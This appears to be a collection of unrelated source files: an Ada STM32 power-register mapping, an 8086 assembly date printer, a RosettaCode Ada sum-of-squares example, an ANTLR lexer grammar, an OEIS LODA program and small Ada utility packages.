type SCR_WUF_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for SCR_WUF
type SCR_WUF_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- WUF as a value
Val : HAL.UInt5;
when True =>
-- WUF as an array
Arr : SCR_WUF_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for SCR_WUF_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- Power status clear register
type SCR_Register is record
-- Write-only. Clear wakeup flag 1
WUF : SCR_WUF_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_5_7 : HAL.UInt3 := 16#0#;
-- Write-only. Clear standby flag
SBF : Boolean := False;
-- unspecified
Reserved_9_31 : HAL.UInt23 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SCR_Register use record
WUF at 0 range 0 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
SBF at 0 range 8 .. 8;
Reserved_9_31 at 0 range 9 .. 31;
end record;
-- PUCRA_PU array
type PUCRA_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRA_PU
type PUCRA_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRA_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRA_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port A pull-up control register
type PUCRA_Register is record
-- Port A pull-up bit y (y=0..15)
PU : PUCRA_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRA_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRA_PD array
type PDCRA_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRA_PD
type PDCRA_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRA_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRA_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port A pull-down control register
type PDCRA_Register is record
-- Port A pull-down bit y (y=0..15)
PD : PDCRA_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRA_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRB_PU array
type PUCRB_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRB_PU
type PUCRB_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRB_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRB_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port B pull-up control register
type PUCRB_Register is record
-- Port B pull-up bit y (y=0..15)
PU : PUCRB_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRB_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRB_PD array
type PDCRB_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRB_PD
type PDCRB_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRB_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRB_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port B pull-down control register
type PDCRB_Register is record
-- Port B pull-down bit y (y=0..15)
PD : PDCRB_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRB_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRC_PU array
type PUCRC_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRC_PU
type PUCRC_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRC_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRC_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port C pull-up control register
type PUCRC_Register is record
-- Port C pull-up bit y (y=0..15)
PU : PUCRC_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRC_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRC_PD array
type PDCRC_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRC_PD
type PDCRC_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRC_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRC_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port C pull-down control register
type PDCRC_Register is record
-- Port C pull-down bit y (y=0..15)
PD : PDCRC_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRC_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRD_PU array
type PUCRD_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRD_PU
type PUCRD_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRD_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRD_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port D pull-up control register
type PUCRD_Register is record
-- Port D pull-up bit y (y=0..15)
PU : PUCRD_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRD_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRD_PD array
type PDCRD_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRD_PD
type PDCRD_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRD_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRD_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port D pull-down control register
type PDCRD_Register is record
-- Port D pull-down bit y (y=0..15)
PD : PDCRD_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRD_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRE_PU array
type PUCRE_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRE_PU
type PUCRE_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRE_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRE_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port E pull-up control register
type PUCRE_Register is record
-- Port E pull-up bit y (y=0..15)
PU : PUCRE_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRE_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRE_PD array
type PDCRE_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRE_PD
type PDCRE_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRE_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRE_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port E pull-down control register
type PDCRE_Register is record
-- Port E pull-down bit y (y=0..15)
PD : PDCRE_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRE_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRF_PU array
type PUCRF_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRF_PU
type PUCRF_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRF_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRF_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port F pull-up control register
type PUCRF_Register is record
-- Port F pull-up bit y (y=0..15)
PU : PUCRF_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRF_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRF_PD array
type PDCRF_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRF_PD
type PDCRF_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRF_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRF_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port F pull-down control register
type PDCRF_Register is record
-- Port F pull-down bit y (y=0..15)
PD : PDCRF_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRF_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRG_PU array
type PUCRG_PU_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PUCRG_PU
type PUCRG_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt16;
when True =>
-- PU as an array
Arr : PUCRG_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PUCRG_PU_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port G pull-up control register
type PUCRG_Register is record
-- Port G pull-up bit y (y=0..15)
PU : PUCRG_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRG_Register use record
PU at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PDCRG_PD array
type PDCRG_PD_Field_Array is array (0 .. 15) of Boolean
with Component_Size => 1, Size => 16;
-- Type definition for PDCRG_PD
type PDCRG_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt16;
when True =>
-- PD as an array
Arr : PDCRG_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for PDCRG_PD_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Power Port G pull-down control register
type PDCRG_Register is record
-- Port G pull-down bit y (y=0..15)
PD : PDCRG_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRG_Register use record
PD at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- PUCRH_PU array
type PUCRH_PU_Field_Array is array (0 .. 1) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for PUCRH_PU
type PUCRH_PU_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PU as a value
Val : HAL.UInt2;
when True =>
-- PU as an array
Arr : PUCRH_PU_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for PUCRH_PU_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Power Port H pull-up control register
type PUCRH_Register is record
-- Port H pull-up bit y (y=0..1)
PU : PUCRH_PU_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_2_31 : HAL.UInt30 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PUCRH_Register use record
PU at 0 range 0 .. 1;
Reserved_2_31 at 0 range 2 .. 31;
end record;
-- PDCRH_PD array
type PDCRH_PD_Field_Array is array (0 .. 1) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for PDCRH_PD
type PDCRH_PD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PD as a value
Val : HAL.UInt2;
when True =>
-- PD as an array
Arr : PDCRH_PD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for PDCRH_PD_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Power Port H pull-down control register
type PDCRH_Register is record
-- Port H pull-down bit y (y=0..1)
PD : PDCRH_PD_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_2_31 : HAL.UInt30 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PDCRH_Register use record
PD at 0 range 0 .. 1;
Reserved_2_31 at 0 range 2 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Power control
type PWR_Peripheral is record
-- Power control register 1
CR1 : aliased CR1_Register;
-- Power control register 2
CR2 : aliased CR2_Register;
-- Power control register 3
CR3 : aliased CR3_Register;
-- Power control register 4
CR4 : aliased CR4_Register;
-- Power status register 1
SR1 : aliased SR1_Register;
-- Power status register 2
SR2 : aliased SR2_Register;
-- Power status clear register
SCR : aliased SCR_Register;
-- Power Port A pull-up control register
PUCRA : aliased PUCRA_Register;
-- Power Port A pull-down control register
PDCRA : aliased PDCRA_Register;
-- Power Port B pull-up control register
PUCRB : aliased PUCRB_Register;
-- Power Port B pull-down control register
PDCRB : aliased PDCRB_Register;
-- Power Port C pull-up control register
PUCRC : aliased PUCRC_Register;
-- Power Port C pull-down control register
PDCRC : aliased PDCRC_Register;
-- Power Port D pull-up control register
PUCRD : aliased PUCRD_Register;
-- Power Port D pull-down control register
PDCRD : aliased PDCRD_Register;
-- Power Port E pull-up control register
PUCRE : aliased PUCRE_Register;
-- Power Port E pull-down control register
PDCRE : aliased PDCRE_Register;
-- Power Port F pull-up control register
PUCRF : aliased PUCRF_Register;
-- Power Port F pull-down control register
PDCRF : aliased PDCRF_Register;
-- Power Port G pull-up control register
PUCRG : aliased PUCRG_Register;
-- Power Port G pull-down control register
PDCRG : aliased PDCRG_Register;
-- Power Port H pull-up control register
PUCRH : aliased PUCRH_Register;
-- Power Port H pull-down control register
PDCRH : aliased PDCRH_Register;
end record
with Volatile;
for PWR_Peripheral use record
CR1 at 16#0# range 0 .. 31;
CR2 at 16#4# range 0 .. 31;
CR3 at 16#8# range 0 .. 31;
CR4 at 16#C# range 0 .. 31;
SR1 at 16#10# range 0 .. 31;
SR2 at 16#14# range 0 .. 31;
SCR at 16#18# range 0 .. 31;
PUCRA at 16#20# range 0 .. 31;
PDCRA at 16#24# range 0 .. 31;
PUCRB at 16#28# range 0 .. 31;
PDCRB at 16#2C# range 0 .. 31;
PUCRC at 16#30# range 0 .. 31;
PDCRC at 16#34# range 0 .. 31;
PUCRD at 16#38# range 0 .. 31;
PDCRD at 16#3C# range 0 .. 31;
PUCRE at 16#40# range 0 .. 31;
PDCRE at 16#44# range 0 .. 31;
PUCRF at 16#48# range 0 .. 31;
PDCRF at 16#4C# range 0 .. 31;
PUCRG at 16#50# range 0 .. 31;
PDCRG at 16#54# range 0 .. 31;
PUCRH at 16#58# range 0 .. 31;
PDCRH at 16#5C# range 0 .. 31;
end record;
-- Power control
PWR_Periph : aliased PWR_Peripheral
with Import, Address => System'To_Address (16#40007000#);
end STM32_SVD.PWR;
|
MASM/12date.asm | iamvk1437k/mpmc | 1 | 19066 | ASSUME CS:CODE, DS:DATA ; code and data segment initialization
DATA SEGMENT
YY DW ?
MM DB ?
D DB ?
TDAY DW SUN,MON,TUE,WED,THU,FRI,SAT ; define the days of the week
SUN DB'SUNDAY,$'
MON DB'MONDAY,$'
TUE DB'TUESDAY,$'
WED DB'WEDNESDAY,$'
THU DB'THURSDAY,$'
FRI DB'FRIDAY,$'
SAT DB'SATURDAY,$'
TMON DW JAN,FEB,MAR,APR,MAY,JUN,JUL,AUG,SEP,OCT,NOV,DEC ; define the months of the year
JAN DB'JANUARY,$'
FEB DB'FEBRUARY,$'
MAR DB'MARCH,$'
APR DB'APRIL,$'
MAY DB 'MAY,$'
JUN DB 'JUNE,$'
JUL DB 'JULY,$'
AUG DB 'AUGUST,$'
SEP DB 'SEPTEMBER,$'
OCT DB 'OCTOBER,$'
NOV DB 'NOVEMBER,$'
DCMB DB 'DECEMBER,$'
DATA ENDS ; end of data segment
CODE SEGMENT
DISCHAR MACRO CHAR
PUSH AX ; save AX
PUSH DX ;save DX
MOV DL,CHAR ;display the character
MOV AH,02H ;move 02 to AH
INT 21H
POP DX ;restore DX
POP AX ;restore AX
ENDM ;end of main
START: MOV AX,DATA ; initialize data segment
MOV DS,AX
CALL FAR PTR PDATE ; display code
MOV AH,4CH ;exit to dos
INT 21H
PDATE PROC FAR ; move 2a to AH
MOV AH,2AH
INT 21H
MOV [YY],CX ; save year
MOV [MM],DH ; save month
MOV [D],DL ; save day
MOV AH,0 ;get a day of the week
ROL AX,1 ; rotate right accumulator
MOV SI,OFFSET TDAY ;address day table
ADD SI,AX ;add SI and AX
MOV DX, [SI] ;address day of week
MOV AH,09H ; display day of week
INT 21H
MOV AL,[D] ; get day of month
MOV AH,00H ; clear the contents of AH
AAM
OR AH,AH ; convert to BCD
JZ DIGIT0 ; if tens is 0
ADD AH,30H ; convert tens
DISCHAR AH ; display tens
DIGIT0: ADD AL,30H ; convert units
DISCHAR AL ; display units
DISCHAR ' ' ; leave space
MOV AL,[MM] ; get month
SUB AL,1 ; sub the contents of al with 1
MOV AH,0 ; move 0 to AH
ROL AX,1 ; rotate accumulator
MOV SI,OFFSET TMON ; address month table
ADD SI,AX ;add SI and AX contents
MOV DX, [SI] ; address month
MOV AH,09H ;display month
INT 21H
MOV AX,[YY] ; read year
CMP AX,07D0H ; check for year 2000
JB DIS19 ; if below year 2000
SUB AX,07D0H ; scale for 00-99
DISCHAR '2' ; display 2
DISCHAR '0' ; display 0
JMP SKIP
DIS19: SUB AX,076CH ; scale 1900-1999
DISCHAR '1' ; display 1
DISCHAR '9' ; display 9
SKIP: AAM ; convert to BCD
ADD AX,3030H ; convert to ASCII
DISCHAR AH ; display tens
DISCHAR AL ; display units
RET ; return
PDATE ENDP
CODE ENDS
END START ; end of program
|
Task/Sum-of-squares/Ada/sum-of-squares.ada | LaudateCorpus1/RosettaCodeData | 1 | 16451 | <reponame>LaudateCorpus1/RosettaCodeData
with Ada.Text_IO; use Ada.Text_IO;
procedure Test_Sum_Of_Squares is
type Float_Array is array (Integer range <>) of Float;
function Sum_Of_Squares (X : Float_Array) return Float is
Sum : Float := 0.0;
begin
for I in X'Range loop
Sum := Sum + X (I) ** 2;
end loop;
return Sum;
end Sum_Of_Squares;
begin
Put_Line (Float'Image (Sum_Of_Squares ((1..0 => 1.0)))); -- Empty array
Put_Line (Float'Image (Sum_Of_Squares ((3.0, 1.0, 4.0, 1.0, 5.0, 9.0))));
end Test_Sum_Of_Squares;
|
grammar/XDocSyntaxLexer.g4 | iwatakeshi/xdoc-parser | 1 | 5104 | lexer grammar XDocSyntaxLexer;
/* Literals (borrowed from Java.g4 and slightly modified) */
// §3.10.1 Integer Literals
NumberLiteral
: IntegerLiteral
| FloatingPointLiteral
;
IntegerLiteral
: DecimalIntegerLiteral
| HexIntegerLiteral
| OctalIntegerLiteral
| BinaryIntegerLiteral
;
fragment
DecimalIntegerLiteral
: DecimalNumeral IntegerTypeSuffix?
;
fragment
HexIntegerLiteral
: HexNumeral IntegerTypeSuffix?
;
fragment
OctalIntegerLiteral
: OctalNumeral IntegerTypeSuffix?
;
fragment
BinaryIntegerLiteral
: BinaryNumeral IntegerTypeSuffix?
;
fragment
IntegerTypeSuffix
: [lL]
;
fragment
DecimalNumeral
: '0'
| NonZeroDigit (Digits? | Underscores Digits)
;
fragment
Digits
: Digit (DigitsAndUnderscores? Digit)?
;
fragment
Digit
: '0'
| NonZeroDigit
;
fragment
NonZeroDigit
: [1-9]
;
fragment
DigitsAndUnderscores
: DigitOrUnderscore+
;
fragment
DigitOrUnderscore
: Digit
| '_'
;
fragment
Underscores
: '_'+
;
fragment
HexNumeral
: '0' [xX] HexDigits
;
fragment
HexDigits
: HexDigit (HexDigitsAndUnderscores? HexDigit)?
;
fragment
HexDigit
: [0-9a-fA-F]
;
fragment
HexDigitsAndUnderscores
: HexDigitOrUnderscore+
;
fragment
HexDigitOrUnderscore
: HexDigit
| '_'
;
fragment
OctalNumeral
: '0' [oO] OctalDigits
;
fragment
OctalDigits
: OctalDigit (OctalDigitsAndUnderscores? OctalDigit)?
;
fragment
OctalDigit
: [0-7]
;
fragment
OctalDigitsAndUnderscores
: OctalDigitOrUnderscore+
;
fragment
OctalDigitOrUnderscore
: OctalDigit
| '_'
;
fragment
BinaryNumeral
: '0' [bB] BinaryDigits
;
fragment
BinaryDigits
: BinaryDigit (BinaryDigitsAndUnderscores? BinaryDigit)?
;
fragment
BinaryDigit
: [01]
;
fragment
BinaryDigitsAndUnderscores
: BinaryDigitOrUnderscore+
;
fragment
BinaryDigitOrUnderscore
: BinaryDigit
| '_'
;
// §3.10.2 Floating-Point Literals
FloatingPointLiteral
: DecimalFloatingPointLiteral
| HexadecimalFloatingPointLiteral
;
fragment
DecimalFloatingPointLiteral
: Digits '.' Digits? ExponentPart? FloatTypeSuffix?
| '.' Digits ExponentPart? FloatTypeSuffix?
| Digits ExponentPart FloatTypeSuffix?
| Digits FloatTypeSuffix
;
fragment
ExponentPart
: ExponentIndicator SignedInteger
;
fragment
ExponentIndicator
: [eE]
;
fragment
SignedInteger
: Sign? Digits
;
fragment
Sign
: [+-]
;
fragment
FloatTypeSuffix
: [fFdD]
;
fragment
HexadecimalFloatingPointLiteral
: HexSignificand BinaryExponent FloatTypeSuffix?
;
fragment
HexSignificand
: HexNumeral '.'?
| '0' [xX] HexDigits? '.' HexDigits
;
fragment
BinaryExponent
: BinaryExponentIndicator SignedInteger
;
fragment
BinaryExponentIndicator
: [pP]
;
// §3.10.3 Boolean Literals
BooleanLiteral
: 'true'
| 'false'
;
// §3.10.4 Character Literals
CharacterLiteral
: '\'' SingleCharacter '\''
| '\'' EscapeSequence '\''
;
fragment
SingleCharacter
: ~['\\\r\n]
;
// §3.10.5 String Literals
StringLiteral
: '"' StringCharacters? '"'
| '\'' StringCharacters? '\''
;
fragment
StringCharacters
: StringCharacter+
;
fragment
StringCharacter
: ~["\\\r\n]
| EscapeSequence
;
// §3.10.6 Escape Sequences for Character and String Literals
fragment
EscapeSequence
: '\\' [btnfr"'\\]
| OctalEscape
| UnicodeEscape // This is not in the spec but prevents having to preprocess the input
;
fragment
OctalEscape
: '\\' OctalDigit
| '\\' OctalDigit OctalDigit
| '\\' ZeroToThree OctalDigit OctalDigit
;
fragment
ZeroToThree
: [0-3]
;
// This is not in the spec but prevents having to preprocess the input
fragment
UnicodeEscape
: '\\' 'u'+ HexDigit HexDigit HexDigit HexDigit
;
// §3.10.7 The Null Literal
NullLiteral
: 'null'
| 'undefined'
;
/* Tom Tokens */
EXTENDS
: 'extends'
;
ID
: /* Prevent the lexer from identifying certain tokens as ID*/
{
if (this.text == "true" || this.text == "false") this.type = XDocSyntaxLexer.BooleanLiteral;
if (this.text == "null" || this.text == "undefined") this.type = XDocSyntaxLexer.NullLiteral;
if (this.text == "extends") this.type = XDocSyntaxLexer.EXTENDS;
} LETTER (LETTER | DIGIT)*
;
NEWLINE
: '\n' SPACE?
| '\r\n' SPACE?
| '\r' SPACE?
;
SPACE
: (' '|'\t')+
;
TEXT_CONTENT
: ~[<>'|&0123456789".,\n\r\t +=@*{}()[\]/:?!-]+
;
AT
: '@'
;
PLUS
: '+'
;
MINUS
: '-'
;
STAR
: '*'
;
FORWARD_SLASH
: '/'
;
COLON
: ':'
;
PERIOD
: '.'
;
COMMA
: ','
;
EQUAL
: '='
;
QUESTION
: '?'
;
AMP
: '&'
;
PIPE
: '|'
;
ARROW
: EQUAL GREATERTHAN
| MINUS GREATERTHAN
;
EXCLAMATION
: '!'
;
INLINE_TAG_START
: '{@'
;
BRACE_OPEN
: '{'
;
BRACE_CLOSE
: '}'
;
PAREN_OPEN
: '('
;
PAREN_CLOSE
: ')'
;
BRACKET_OPEN
: '['
;
BRACKET_CLOSE
: ']'
;
LESSTHAN
: '<'
;
GREATERTHAN
: '>'
;
fragment
LETTER: [a-zA-Z];
fragment
DIGIT: [0-9];
|
oeis/113/A113267.asm | neoneye/loda-programs | 11 | 23068 | <filename>oeis/113/A113267.asm<gh_stars>10-100
; A113267: Partial sums of Catalan numbers A000108 multiplied by powers of -8.
; Submitted by <NAME>(s4)
; 1,-7,121,-2439,54905,-1321351,33281657,-866396551,23125022329,-629441571207,17405126104697,-487562768820615,13806913025988217,-394606681111406983,11367704830045574777,-329739328993506896263,9622560010799553435257
mov $1,$0
lpb $0
sub $1,1
mov $2,$0
mov $0,$1
seq $2,25225 ; a(n) = a(1)*a(n-1) + a(2)*a(n-2) + ...+ a(n-1)*a(1) for n >= 2. Also a(n) = (2^n)*C(n-1), where C = A000108 (Catalan numbers).
add $3,$2
mul $3,4
dif $3,-1
lpe
mov $0,$3
div $0,2
add $0,1
|
src/halfbox_info.adb | SKNZ/BoiteMaker | 0 | 29051 | with ada.characters.latin_1;
package body halfbox_info is
function to_string (halfbox_info : halfbox_info_t) return string is
tab : constant character := ada.characters.latin_1.HT;
lf : constant character := ada.characters.latin_1.LF;
begin
return "[ " & lf
& tab & "t: " & integer'image(halfbox_info.thickness) & ", " & lf
& tab & "w: " & integer'image(halfbox_info.width) & ", " & lf
& tab & "l: " & integer'image(halfbox_info.length) & ", " & lf
& tab & "h: " & integer'image(halfbox_info.height) & ", " & lf
& tab & "q: " & integer'image(halfbox_info.queue_length) & " ]";
end;
end halfbox_info;
|
oeis/117/A117451.asm | neoneye/loda-programs | 11 | 242417 | ; A117451: Expansion of (1-x+x^2+x^5)/((1-x)*(1-x^5)).
; 1,0,1,1,1,3,2,3,3,3,5,4,5,5,5,7,6,7,7,7,9,8,9,9,9,11,10,11,11,11,13,12,13,13,13,15,14,15,15,15,17,16,17,17,17,19,18,19,19,19,21,20,21,21,21,23,22,23,23,23,25,24,25,25,25,27,26,27,27,27,29,28,29,29,29,31,30,31
mov $1,$0
gcd $1,5
mov $2,$0
add $2,$0
add $1,$2
div $1,5
mov $0,$1
|
src/_for_debug_purposes/apsepp-debug_trace_class.adb | thierr26/ada-apsepp | 0 | 24135 | <reponame>thierr26/ada-apsepp
-- Copyright (C) 2019 <NAME> <<EMAIL>>
-- MIT license. Please refer to the LICENSE file.
package body Apsepp.Debug_Trace_Class is
----------------------------------------------------------------------------
protected body Reset_Date_Handler is
-----------------------------------------------------
procedure Get (Date : out Time;
Time_Zone : out Time_Offset;
Elapsed_Time : out Duration;
Reset : Boolean) is
begin
Date := Clock;
Time_Zone := Offset;
if Reset or else Reset_Date = Time_First then
Reset_Date := Date;
end if;
Elapsed_Time := Date - Reset_Date;
end Get;
-----------------------------------------------------
